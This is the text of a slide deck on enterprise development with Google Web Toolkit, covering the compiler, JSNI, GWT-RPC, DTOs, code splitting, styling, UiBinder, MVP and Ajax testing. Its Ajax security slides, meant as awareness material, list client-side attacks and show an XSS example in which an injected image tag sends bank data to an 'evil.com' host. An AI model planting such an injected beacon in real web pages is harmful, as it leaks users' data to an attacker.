Upload
ed-bras
View
7.514
Download
1
Tags:
Embed Size (px)
DESCRIPTION
An overview of the most important GWT features mixed with my experience of GWT. For example: 2-layered delpoyment model, several design patterns, security issues, ajax testing, etc.. This presentation is different then the usual GWT presentation as it describes the usage of GWT in an enterprise environment instead of a "GWT hobby project". This presentation is used during GWT workshops and courses.
Citation preview
Ed Bras | [email protected] 2
• What is GWT?
• My first GWT application
• The GWT compiler
• Native Javascript support
• GWT under the hood
• Making own widgets
• Backend integration
• GWT-RPC
Ed Bras | [email protected] 3
• Spring integration
• DTO’s usage
• Ajax security
• Code splitting
• Styling and Themes
• Client bundle
• UIBinder
• MVCP pattern
Ed Bras | [email protected] 4
• Service handler
• GWT enterprise development
• Display data binding
• IDE integration
• Ajax testing
• Third party GWT frameworks
• Sales talk
• GWT usage
Javascript
Ed Bras | [email protected] 5
• Building interactive web sites
• Java -> Javascript compiler
• Browser independent
• Browser support: FF, IE, Chrome, Safari, Opera
• No browser plugin needed
• Open source, Apache 2.0 license
Java Code
Firefox FirefoxSafari
Opera
Chrome
Ed Bras | [email protected] 6
• Create project
• GWT jar’s
• JRE support + source code
• Not-supported classes
• Development mode
• Debugging
• Compile with Maven
• GWT Eclipse plugin
Ed Bras | [email protected] 7
• Generating optimized Javascript
• Faster Javascript then handwritten
• Dead code removal, Type tighten, inlining, aggressive obfuscation, etc…
JavascriptJava Code
Shape s = new Square(2);
int a = s.getArea();
equals:
Square s = new Square(2);
inta = s.length* s.length;
becomes:
int a = 4;
Ed Bras | [email protected] 8
• Newest compiler: 3 – 20 % smaller code
• Compiler output: obfuscated, pretty, report
• Predictable code: no reflection
• Deferred binding alternative
• Compiler permutations
GWT.create(DOMImpl.class)
DOMImpl
DOMImplIE6 DOMImplOpera
Ed Bras | [email protected] 9
• Internationalization support
• Inline property replacement
• Extending properties
MyLabels
interfacemylabels_nl.properties
Usage:MyLabels props = GWT.create(MyLabels.class);
props.getCustomerTitle();
CommonLabels
interfacecommonlabels_nl.properties
packageContent:customerTitle = Alle klanten
….
…
Ed Bras | [email protected] 10
• Different permutations (browsers x languages)
Indicate Possible locales (permutations) in gwt.xml:<extend-property name="locale" values="nl, es" />
Indicate required Locale:Set required locale in gwt.xml file:
<set-property name="locale" value="nl" />
Set required locale in html file:
<meta name="gwt:property" content="locale=es">
Set required locale in URL:
http://www.example.org/myapp.html?locale=nl
Ed Bras | [email protected] 11
• Call Javascript code from Java
public native String flipName(String name) /*-{ var re = /(\w+)\s(\w+)/; return name.replace(re, '$2, $1');
}-*/;
• Call Java code From Javascript
• Results in many possibilities
• GWT wrappers around existing Javascript lib’s
• Direct JQuery calls (GQuery)
• Flash integration through FABridge
Ed Bras | [email protected] 12
• DOM programming through Java Overlay types
• Binding of a Java object to a Javascript object
• IDE advantages
• Use JSON objects as Java objects
• Friendly usage of Javascript lib’s
Ed Bras | [email protected] 13
JSON data from server:var jsonData = [{ "FirstName" : "Jimmy", "LastName" : "Webber" },{ "FirstName" : "Alan", "LastName" : "Dayal" },
];
Overlay Java Class:public class CustomerJso extends JavaScriptObject implements Customer {protected CustomerJso() { }
public final native String getFirstName() /*-{ return this.FirstName; }-*/;public final native String getLastName() /*-{ return this.LastName; }-*/;public final String getFullName() {return getFirstName() + " " + getLastName();
}}
Usage:public void onModuleLoad() {
Customer c = getFirstCustomer();Window.alert("Hello, " + c.getFirstName());
}
private native CustomerJso getFirstCustomer() /*-{return $wnd.jsonData[0]; // example: contains the result from a backend call
}-*/;
Ed Bras | [email protected] 14
• Gwt-google-apis:
• Google Maps
• Google Ajax search
• Google Gears
• etc..
Ed Bras | [email protected] 15
• Widget and Panel Hierarchy Implements HasWidgets
Ed Bras | [email protected] 16
• HTML standard mode support
• Helper classes
GWT HistoryDOM
• DOM: Dom element management
• GWT: Global application management
Ed Bras | [email protected] 17
• History: Ajax navigation via URL fragments
Show page 1Add History
markerShow page 2
Add History marker
back
History queue
page 2page 1….
1 2
back: inform back: inform
inform
Ed Bras | [email protected] 18
• Object presentation on the DOM
Panel
Label
Button
parent
child’s
Panel
Label
Button
parent
child’s
Logical attachment Physical attachment
contains
contains
contains
Ed Bras | [email protected] 19
• Element API examplesUIObject.getElement() // element location
Element.getStyle()
Element.setPropertyString(String, String)
Element.setScrollLeft(int)
Element.setTitle(String)
Element.getClassName() // same as Widget.getStyleName()
• Toevoegen child widget:// logical and physical attachment:FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.add(new Label(“some text”); // attachment
// Only physical attachment (not normal usage):FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.getElement().appendChild(new Label(“some text”).getElement)); // attachment
Ed Bras | [email protected] 21
• Composite class usage:
• Clear API
• Poor reusage, not lazy, heavy constructor
• Improved alternative: SimpleComposite
Ed Bras | [email protected] 22
• Event example
• Event sinking
• Event bubbling transparency
• Blur and Focus do not bubble
Panel
Button
parent
child’s
Capture phase Bubbling phase
Ed Bras | [email protected] 23
• What goes wrong ?
function makeWidget() {var widget = {}; widget.someVariable = "foo"; widget.elem = document.createElement ('div'); widget.elem.onclick = function() {
alert(widget.someVariable); };
}
• Browsers garbage collection of cycled referencedA -> B -> A (widget -> elem -> widget)
Ed Bras | [email protected] 24
• GWT guarantees no memory leaks
• Element -> Widget association not possible
Ed Bras | [email protected] 25
• Asynchronous backend calls
Show table with data
Create Table View
Fetch Table data
1
2
Show table with data
Create Table View Fetch Table data
Asynchronous
Synchroon
backend
frontend
Ed Bras | [email protected] 26
• SOP: Same Origin Policy
• Alternative:
• Server proxy: extra delay
• <script> DOM element: less secure
Our domain
Neighbor
Load application
SOP restriction
Ed Bras | [email protected] 27
• Impact integration of existing backend
• Page lifecycle not on server
• Lightweight
• Easy integration with existing Get/Post backend
Ed Bras | [email protected]
28
• Communication basics:
• GWT-RPC (java backend)
• Post/Get (any backend)
• JSNI
GWT applicatie
Backend
GWT-RPC Post/Get JSNI
J2EE container Any container Any container
XML JSON Text
Ed Bras | [email protected] 29
• Post/Get
• Retrieving any data from the server
• Example: XML, JSON, TEXT
• JSON versus XML
• Third party lib’s for REST services
• Example: Restlet, RestyGWT (REST + JSON)
• GWT RequestBuilder class:
• Default Post/Get support (Safari bug)
• Head/Delete/etc.. support through subclassesRequestBuilder.sendRequest(String, RequestCallback)
Ed Bras | [email protected] 30
• Post/Get
• GWT XML en JSON helper classes
• GWT-RPC
• Transparent backend connection
• Java Object sharing
• Lightweight mechanism
Ed Bras | [email protected] 31
• GWT-RPC Customer exampleserver client
GWT J2ee container
CustomerServiceDefault
CustomerService
RemoteServiceServlet
CustomerServiceAsync
web.xml…
mapping
Usage
service = GWT.create(CustomerService.class);service. getAllCustomers()
Remote Service
1
2
3
Ed Bras | [email protected] 32
• Transport object:
• Implements (indirect) Serializable
• No-arg constructor
• Field must be non-final (log warning)
• Transient field not over the wire
• Generated Serialization code reduction:
• Prefer ArrayList<E> over List<E> in Service interface
Ed Bras | [email protected] 33
• Only Checked exceptions over the wire
List<Customer> getAllCustomers() throws StaleCustomerStateException;
• Exception translation
Mediator layer
Dynamic proxy Exception Translator
Unchecked -> Checked Exception
BrowserGWT application
Example: Source: MemberNotLoggedInRuntimeExceptionTarget: MemberNotLoggedInException
java.lang.reflect.Proxy
Ed Bras | [email protected] 34
• <MD5>.gwt.rpc policy file
• War deployment
• Spring integration
• Third party connector (gwtwidgets)
• Mapping through Spring instead through web.xml
Ed Bras | [email protected] 35
J2EE container(s)
Web server(s)
BrowserGWT Application
• Friendly environmentDevelopment
IDE
Start/Stopindex.html
load application/resoucesbackend communication
proxy calls
Customer
code share
gwt-servlet.jar
publish
DB
Browser plugin
Separated deployment
Ed Bras | [email protected] 36
• GWT noserver mode
• Friendly development environment:
• SOC (Separation of Concerns)
• Friendly testing (mocks)
• Friendly deployment (separated)
• Serialization policy solution (SerializationPolicy)
• Lightweight backend
• Simple scalable (horizontal)
• Almost stateless
Ed Bras | [email protected] 37
• Optimizing object transport (light, share, security)
• Prevents enhanced object problems (hibernate)
• Adjust and test DTO conversion
Mediator layer
BrowserGWT application
DTO’s (CustomerDto)
Domain objects (Customer)DTO
converter
Backend communication
Ed Bras | [email protected] 38
• DTO converter: Dozer
• Gilead:
• No DTO converter needed
• Backend impact
• Code impactDomain object(Customer)
DTO object(CustomerDto)
Ed Bras | [email protected] 39
• Bill Hoffman film en book Ajax Security
• GWT doc
• Ajax paradox: more in not-trustable client
• Security role undermind
• Differences with not-Ajax time
Ed Bras | [email protected] 40
• State in client
• Backend calls as webservices
Not-Ajax backend Ajax backend
Not to be trusted?
Backend
Ed Bras | [email protected] 41
• Evil state in front-end
• Specification backend access (control and state)
• Ajax as blueprint van de backend
• Example:
• Booking flight: select, reservation, pay, book
• Price attack: price in Javascript variable
Backend
Ed Bras | [email protected] 42
• More business logic in browser (HtmlGuardian)
• You best friend: Firebug
• Javascript security friend: Flash (no SOP)
• Storing login info in client (https login)
• Logic controlled denial attack
• Revered Obfuscating
• Dynamic code loading
• Method Clobbering
Frontend
Ed Bras | [email protected] 43
• Element.innerHTML(UserSCRIPTInput)
• eval(JSON) -> evil() (Javascript is Evil)
• JSONP (JSON Padding) is evil (proxy)
• Evil Google Gadgets
• Hacker type:
• The user (before)
• Clone a user
Frontend
Ed Bras | [email protected] 44
• XSS (Cross Site Scripting)
• XSRF (Cross Site Request Forging)
Trusted domain Evil domain
Inject Javascript
<img src=“evil.com?info=Bank info”></img>Cookie
Request forging
Ed Bras | [email protected] 45
• Cookie duplication
• GWT:
• Hiding Javascript
• Usage JSONParser
• More default checks in future
• Many attention on infrastructure security
• Little attention on Application security (hacker happy)
Ed Bras | [email protected] 46
• Loading of application in small code fragments
HTML JS Running
HTML JS Running
without code splitting
with code splitting
Running Running Running
JS JS JS
Time
Ed Bras | [email protected] 47
GWT.runAsync(new RunAsyncCallback() {public void onSuccess() {
// Runs when code is loaded with success}
public void onFailure(Throwable reason) {// Runs when loaded with failure
}});
• Example of split point in code
Start Code
Split point 1
Split point 2
Left over
Kb
Code base
Loading first code fragment
Ed Bras | [email protected] 48
• Lazy loading when needed
• Manual Code splitting
• Minimizing left over
• Isolate code fragments
• SOYC (Story Of Your Compile)
• When loading which code?
• Code fragment size
• Compiler optimizing
• etc…
Ed Bras | [email protected] 49
• CSS faster than element styling
element. getStyle().setBackgroundColor(“#FF00FF”)
• (GWT) CSS include through
• <link> in Html page
• In gwt.xml file (preferred)
• Through UIBinder and CssResource
<link type="text/css" rel="stylesheet" href=“my.css">
<stylesheet src=“my.css" />
Ed Bras | [email protected] 50
• Widget styles:
• UIObject.setStyleName(“button”)
• UIObject.setStylePrimaryName(“button”)
• UIObject.addStyleDependentName(“enabled”)
<div class=“button”>
<div class=“button”>
<div class=“button button-enabled”>
WidgetStyler Widget
add mouse/click listeners
Decorator
enable/disable/select
<div class=“button button-disabled”><div class=“button button-enabled”><div class=“button button-hover”><div class=“button button-sel”>
primary style
Ed Bras | [email protected] 51
• Visual Theme:
• Inject a set of style sheets through a separate gwt.xml file
• Usage with reusable components
• GWT standard themes: standard, chrome, dark
Usage:<inherits name='com.google.gwt.user.theme.standard.Standard'/>
Content of Standard.gwt.xml:<module>
<stylesheet src="gwt/standard/standard.css"/></module>
Ed Bras | [email protected] 52
• Dynamic change of style sheetspublic static boolean removeStyleSheet(String id) {
Element elem = DOM.getElementById(id);if (elem == null) {
return false;}else {
Element parent = elem.getParentElement();parent.setPropertyString("disabled", "disabled");parent.removeChild(elem);
return true;}
}
public static void addStyleSheet(String id, String url) {Element link = DOM.createElement("link");link.setPropertyString("rel", "stylesheet");link.setPropertyString("type", "text/css");link.setPropertyString("id", id);link.setPropertyString("href", url);link.setPropertyString("disabled", "");Element head = getHead();head.appendChild(link);
}
public native Element getHead() /*-{ return $doc.getElementsByTagName('head')[0]; }-*/;
Ed Bras | [email protected] 53
• Include static resourcespublic interface MyResources extends ClientBundle {public static final MyResources INSTANCE = GWT.create(MyResources.class);
@Source("my.css")public CssResource css();
@Source("config.xml")public TextResource initialConfiguration(); // i18N support (config_us.xml)
@Source("default.txt")
public TextResource defaultText(); // i18N support (default_nl.txt)
@Source("manual.pdf")public DataResource ownersManual(); // i18N support (manual_es.pdf)
@Source("logo.png")
ImageResource logo(); // i18N support (logo_es.png)}
Usage:MyResources.INSTANCE.css().ensureInjected();
// Display the manual file in an iframenew Frame(MyResources.INSTANCE.ownersManual().getURL());
Ed Bras | [email protected] 54
• Perfect caching (predictable)
• MD5 file name
GWT Compiler
Manual.pdf A49CB1C6CF624BC21D0E59CDCD566951.pdf
<Files *.nocache.*>ExpiresDefault "access"
</Files>
<Files *.cache.*>ExpiresDefault "now plus 1 year"
</Files>
• File change results in MD5 file name change
• Apache caching (mod_expires)
Ed Bras | [email protected] 55
• CssResource
@def myIdent 10px;
@sprite panel {gwt-image: “alertInfo”;
}
.foo {background: green;
}
@if user.agent ie6 {.foo {position: relative;
}} @else {.foo {font-size: x-large;
}}
interface MyResources extends ClientBundle {@Source("my.css")@CssResource.NotStrictMyCss css();
@Source("images/alert-info-ff00ff.gif")@ImageOptions(repeatStyle = RepeatStyle.None)ImageResource alertInfo();
}
interface MyCss extends CssResource {String className();String myIdent();
}
MyResources resources = GWT.create(MyResources.class);Label l = new Label("Some text");l.addStyleName(resources.css().className());
Stylesheet Usage
same
in classpath
Ed Bras | [email protected] 56
• CssResource:
• More control and flexible
• Efficient loading of images
• GWT compiler performs more checks
• Css code -> Java code -> more checks/control
• Minimizing style sheet
• Obfuscating
• Predictable/perfect caching
Ed Bras | [email protected] 57
• Templating elementsHelloWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'><div>
Hello, <span ui:field='nameSpan'/>.</div>
</ui:UiBinder>
public class HelloWorld extends UIObject {interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField SpanElement nameSpan;
public HelloWorld() {setElement(uiBinder.createAndBindUi(this));
}
public void setName(String name) { nameSpan.setInnerText(name); }}
Usage:HelloWorld helloWorld = new HelloWorld();Document.get().getBody().appendChild(helloWorld.getElement());helloWorld.setName("World");
Ed Bras | [email protected] 58
• Templating widgetsHelloWidgetWorld.ui.xml:<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder‘ xmlns:g='urn:import:com.google.gwt.user.client.ui'>
<g:HTMLPanel>Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.
</g:HTMLPanel></ui:UiBinder>
public class HelloWidgetWorld extends Composite {interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);@UiField ListBox listBox;
public HelloWidgetWorld(String... names) {initWidget(uiBinder.createAndBindUi(this));for (String name : names) {
listBox.addItem(name); }
}}
Usage:HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");
Ed Bras | [email protected] 59
• Improve performance (innerHTML usage)
• Many styling possibilities
• Separation of Widget and Template
• 1 Widget with different templates
• Design friendly
• IDE friendly
• Annotation usage (listener method)
• Compare with Flex and Faclets (JSF)
Presenter 1
Ed Bras | [email protected] 60
Event bus
Events:…App initApp prepare testApp prepare 1..App build 1..App show..Global data changed
CustomerController
ShowPresenter
ModifyPresenter
Show View Modify View
Display register
Data Model
Create lazy through code split
Shared display content:Tab content ….
Interface association
Bubbling actions:Click gotoModify button
Business logic
Presenter logic
optional
Ed Bras | [email protected] 61
• Separated view, business en presentation logic
• Forced separating
• Friendly testing
• Interface associations
• Data model Observer memory leaks
• GWT doc
Ed Bras | [email protected] 62
• Central handler for backend communication
• Control of backend calls (queue, timeout, etc..)
• Central progress monitor
• Wrap existing Async calls
Usage:final AsyncCallback<Member> callback = createCallback();….serviceHandler.add(new AsyncCommand<Member>() { // add service handler
public AsyncCallback<Member> getCallback() {return callback;
}
void run(final AsyncCallback<Member asynCallback) {getBackendFacade().login(“bla”, “geheim”, asynCallback);
}});
Ed Bras | [email protected] 63
• Split GWT project in production, test en development
DeclareCommon.gwt.xml
DeclareProd.gwt.xml DeclareTestCommon.gwt.xml
DeclareTest.gwt.xml DeclareDev.gwt.xml
Lean and mean (800k):no assertsno element id’setc..
Test enabled (1200k):with assertswith element id’swith dev panelbackend mockingTest data via URL paramsetc..
More Test data options<div id=“bla”>rik</div>
Id is needed for Ajax testing
Ed Bras | [email protected] 64
• Flexible environment settings
• Friendly develop environment
• Mocking backend (offline mode)
• Unit testing through URL parameters
• Deferred binding
Ed Bras | [email protected] 65
• Model Display binding
Data model Displaybinding ?
Fill display with model data
View
Data model
Desired: Decouple of display details en data binding (SOC)Reusable data binding
split
public void update(data collection) {foreach(Data item: data) {
table.setText(0, 1, item.getLabel());}
}
Ed Bras | [email protected] 66
TableViewer
TableViewer decorates Table
• TableViewer example
Data model
1: update2Display(List<Customer>)
TableEditor
2: update2Display(RowEditor, Customer)
RowEditor
Display table
contains
3: Customer specific:rowEditor.setHtml(0, customer.getFirstName()); rowEditor.setWidget(1, new Label(customer.getLastName()));….
Ed Bras | [email protected] 67
• Viewer decorates Display component
• SOC (Separation Of Concern)
• Friendly syncing of data and display
• Reusable for other data
• Usage in well known GUI frameworks
• Example: FormField en FormFieldViewer
Ed Bras | [email protected] 68
• GWT Eclipse plugin
• GWT Designer of Instantiations (no UIBinder)
• Waiting for UIBinder IDE support
Ed Bras | [email protected] 69
• Unit testing of not-Display parts (MVCP)
• Unit testing of GWT display parts met Junit
• Nightly build met Cargo- en GWT maven plugin
• Difficult to test the Ajax frontend
• Selenium van Thoughtworks:
• FF plugin for scenario recording
• Selenium RC (java, Groovy, etc…)
• Ajax model test framework:
• Modeling of browser elements
• Selenium as browser implementation
Ed Bras | [email protected] 70
Display
First name
Last name
News letter
<input id=“myCheckId” type=“checkbox”>
• Ajax model test framework
Cssselector
TypeElement
CheckElement
typeWait(“bla”)
clickWait(“bla”)
Locator
Browser
Id
interface contains
Selenium RC
modeling
contains
interface
Ed Bras | [email protected] 71
• Hierarchy of reusable rich browser elements
• Compose new elements
• Friendly usage none-developer
• Run through testNG/Junit
• Run during nightly build
Ed Bras | [email protected] 72
• GWT focus: compiler and core
• Many GWT hobby projects
• GXT van Ext Js (former mygwt)
• SmartGWT
• RocketGWT
• Many GWT wrappers
• GIN (GWT Injection), based on Google Guice
Ed Bras | [email protected] 73
• It’s Google (future, sexy)
• Open source project, no license costs
• Google Wave and AdWords build with GWT
• GWT more popular every day
• Rich interactive web sites possible
• Browser independent
• No browser plugin needed
• Short learning curve
• GWT has a clear programming model
Ed Bras | [email protected] 74
• Existing Java developers can start directly
• Usage of standard Java development tools
• GUI design tools available
• Many GWT libraries available
• Fast application building (Prototyping)
• Many and complex functionality possible
• No/little Javascript knowledge needed
• Simple and fast deployment
Ed Bras | [email protected] 75
• Simple integration with existing backend
• Simple scalability
• Less backend resource usage
• Friendly integration with Google API’s.
• Integration with Flash in the browser
• Light weight
• Compiler optimizing (compact, obfuscated)
• Reusable existing Java code
Ed Bras | [email protected] 76
• CMS friendly
• Test/develop friendly (prod, test, dev modes)
• GUI binder
Ed Bras | [email protected] 77
• Less:
• Still solving browser CSS differences yourself
• less suitable for complex animations
• Less suitable for tiny Javascript application
• Not search engine friendly (poor ranking)
Ed Bras | [email protected] 78
• JQuery for simple Ajax functionality
• Flash for Trendy sites
• Other: GWT
• Use case: Lombardi/IBM Blueprints:
• Started with Flash (cross-browser bugs)
• Then DOJO (too big)
• Now GWT (take over by IBM)
• Use case: Mendix, generation of GWT front-end
Ed Bras | [email protected] 79
• Roadmap not public known
• Compiler optimizing, richer widgets, standard mode, security, etc..
• HTML 5 support
• More used every day (forum active)
Ed Bras | [email protected] 80
• Google GWT site: doc, samples, blog, forum
• GWT on Youtube (I/O sessions)
• Google books
• LinkedIn group(s): GWT Dutch Professionals
• Call/Mail me ([email protected], www.ited.nl)